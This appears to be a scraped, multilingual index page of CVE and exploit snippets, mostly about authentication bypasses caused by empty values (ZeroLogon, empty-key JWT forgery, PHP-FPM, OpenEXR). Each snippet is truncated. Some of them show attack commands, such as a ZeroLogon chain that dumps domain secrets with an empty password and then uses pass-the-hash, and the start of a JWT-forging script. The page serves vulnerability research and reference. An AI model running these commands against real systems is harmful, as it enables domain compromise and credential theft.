CVE-2016-7434

CVE-2016-7434 CVE-2016-7434 ntpd رفض الخدمة عن بُعد قبل المصادقة - PoC/معلومات المصادر: http://dumpco.re/cve-2016-7434/ https://www.exploit-db.com/exploits/40806/ root@nop:/code/CVE-2016-7434 echo -e...

CVE-2025-10294

Exploit: Bypass de Autenticação via ownidsharedsecret Vazio Falsificação de JWT 1 Forje um JWT válido usando uma chave HMAC vazia root@kitploit: SUB= SUB="$SUB" python3 - /tmp/jwt.txt import base64, hmac, hashlib, json, time, os b64u = lambda b: base64.urlsafeb64encodeb.rstripb'='.decode header =...

Mini_httpd-CVE-2018-18778

Vulnerabilidade de leitura arbitrária de arquivos no minihttpd CVE-2018-18778 Minihttpd é um servidor HTTP mínimo que, consumindo poucos recursos do sistema, consegue manter um certo nível de desempenho cerca de 90% do Apache; por isso, é amplamente utilizado por diversos dispositivos IoT...

ntlm-scanner

Neu! Exploit-Scan für CVE-2020-1472 ZeroLogon Scannen Sie DCs in Ihrem Netzwerk, um tatsächliche Ausnutzung von CVE-2020-1472 zu erkennen Beispiele: root@kitploit: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target Das Tool funktioniert, indem e...

CVE-2020-15906

CVE-2020-15906 CVE-2020-15906 的漏洞分析报告。 特别感谢 Frederic Mohr Lastbreach 提供的后端支持。 Tiki Wiki Cms Groupware 16.x - 21.1 认证绕过漏洞 —— Maximilian Barz 发现 我在 TikiWiki Cms Groupware 16.x - 21.1 中发现了一个新漏洞。该漏洞允许远程未经身份验证的攻击者绕过登录页面，从而完全控制 Tiki Wiki CMS。攻击者可以暴力破解管理员账户直至账户被锁定。此后，可以使用空密码以管理员身份进行身份验证并获取访问权限。...

CVE-2024-9933

CVE-2024-9933 WatchTowerHQ = 3.10.1 - Authentifizierungsumgehung zum Administrator aufgrund fehlender Prüfung auf leeren Wert Beschreibung: Das WatchTowerHQ-Plugin für WordPress ist in Versionen bis einschließlich 3.9.6 anfällig für eine Authentifizierungsumgehung. Dies liegt daran, dass der...

CVE-2019-20933

CVE-2019-20933 InfluxDB prima della versione 1.7.6 ha una vulnerabilità di bypass dell'autenticazione nella funzione authenticate in services/httpd/handler.go perché un token JWT può avere uno SharedSecret vuoto noto anche come shared secret. vedi https://nvd.nist.gov/vuln/detail/CVE-2019-20933 p...

CVE-2025-66698

CVE-2025-66698 Software interessato: Veda Semantic Machines v5.4.8 probabilmente tutte le versioni precedenti. Tipo di vulnerabilità: Bypass dell'autenticazione. ID CVE: CVE-2025-66698. Sommario: Il sistema valida in modo improprio il parametro ticket, trattando una stringa vuota come una session...

CVE-2020-1472

CVE-2020-1472 arp-scan Rangip nmap -A -vv -Pn IPADDR python3 setemptypw.py DCNETBIOSNAME DCIPADDR python3 secretsdump.py -no-pass -just-dc DOMAIN/DCNETBIOSNAME$@DCIPADDR python3 wmiexec.py -hashes HassPasswdUser DOMAIN/User@dcipaddr Windows-Befehle whoami systeminfo hostname md testdir echo test...

CVE-2022-0778

CVE-2022-0778 Descrizione Facciamo riferimento al concetto di drago-96 e poi riscriviamo un PoC basato sui formati P12 e PEM. Puoi usarlo per verificare le vulnerabilità CVE-2022-0778, ovvero un certificato SSL pericoloso senza alcuna password privata, lascialo vuoto. Se il dispositivo è affetto,...

PHP-FPM-Remote-Code-Execution-Vulnerability-CVE-2019-11043-

CVE-2019-11043 1. Descrizione della vulnerabilità In Nginx, fastcgi split path info, quando elabora richieste contenenti %0a, a causa del carattere di nuova riga \n, PATH INFO diventa vuoto. Inoltre, php-fpm, quando gestisce PATH INFO vuoto, presenta un difetto logico. Un attaccante, attraverso u...

CVE-2025-29632

Author: HanyiLuo, Yuqi Huo CVE-2025-29632 le informazioni sulla vulnerabilità coperta da CVE-2025-29632 Versioni interessate: 4.0.0 e versioni precedenti Quando free5gc elabora il messaggio InitialUEMessage, controlla solo se il riferimento nASPDU è nil cioè se è un puntatore nullo, ma non verifi...

CVE-2023-51467

CVE-2023-51467 exp.py modificato per esecuzione di comandi Post.txt Sfruttamento della vulnerabilità di serializzazione bypassauth.txt Test di bypass dell'autenticazione Causa della vulnerabilità A causa dell'uso errato di controlli vuoti durante la verifica dell'identità, questo metodo non ha...

CVE-2025-60375

CVE-2025-60375 CVE-2025-60375 — Bypass dell'autenticazione / controllo accessi errato in PerfexCRM Nota:...

CVE-2019-11043

CVE-2019-11043 Beschreibung der Sicherheitslücke Bei Nginx führt die Verarbeitung von Anfragen mit %0a in fastcgisplitpathinfo dazu, dass PATHINFO aufgrund des Zeilenumbruchs \n leer wird. Und php-fpm weist bei der Verarbeitung von leerem PATHINFO einen logischen Fehler auf. Durch geschickte...

CVE-2026-61555

OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 are vulnerable to crashing. This occurs when Imf::GetChannelsInMultiPartFile processes a...

CVE-2026-61555

OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 are vulnerable to crashing. This occurs when Imf::GetChannelsInMultiPartFile processes a...

CVE-2026-61555 OpenEXR: Empty multiView viewFromChannelName file crash

OpenEXR is the reference implementation and specification for the EXR image format, widely used in the motion picture industry. OpenEXR versions before 3.2.11, 3.3.0 through 3.3.12, and 3.4.0 through 3.4.13 are vulnerable to crashing. This occurs when Imf::GetChannelsInMultiPartFile processes a...

CVE-2026-61555

OpenEXR (the reference implementation for the EXR image format used in the motion picture industry) is vulnerable to a crash when Imf::GetChannelsInMultiPartFile() processes a crafted EXR file with an empty multiView header attribute. The root cause is that Imf::viewFromChannelName() indexes an e...

EUVD-2026-65488

Issue summary: ChaCha20-Poly1305 and AES-OCB decryption with an empty ciphertext can report success without verifying the supplied authentication tag when the operation is finalized by calling the EVPCipher function. Impact summary: Applications calling EVPCipher on an empty ciphertext and...